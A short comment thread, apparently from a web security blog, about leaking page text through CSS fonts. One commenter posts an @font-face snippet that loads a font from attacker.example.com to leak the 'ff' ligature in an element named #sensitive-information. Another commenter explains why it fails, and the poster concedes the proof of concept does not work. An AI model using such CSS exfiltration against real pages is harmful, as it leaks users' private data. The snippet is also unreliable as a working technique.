3 ms·
Nice, and by using 'font-variant-ligatures: common-ligatures;' you can actually try to harvest character combinations as well. For example: @font-face {
by jo-han 11y ago
Nice, and by using 'font-variant-ligatures: common-ligatures;' you can actually try to harvest character combinations as well. For example:
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?ff); /* ff */
unicode-range: U+FB00;
}
#sensitive-information {
font-family: poc;
font-variant-ligatures: common-ligatures;
}
(edit: improved formatting/explanation)
- khaled 11y agoI don’t see how this would work. When the browser renders an “ff” ligature, it does not do so by converting every “ff” in the input into U+FB00, as such it will never use this font unless the user input actually contains U+FB00 which is unlikely.
- jo-han 11y agoKhaled, you're right - it doesn't work. The characters are not substituted. I made a quick proof of concept, but it triggered for the wrong reasons. Bummer.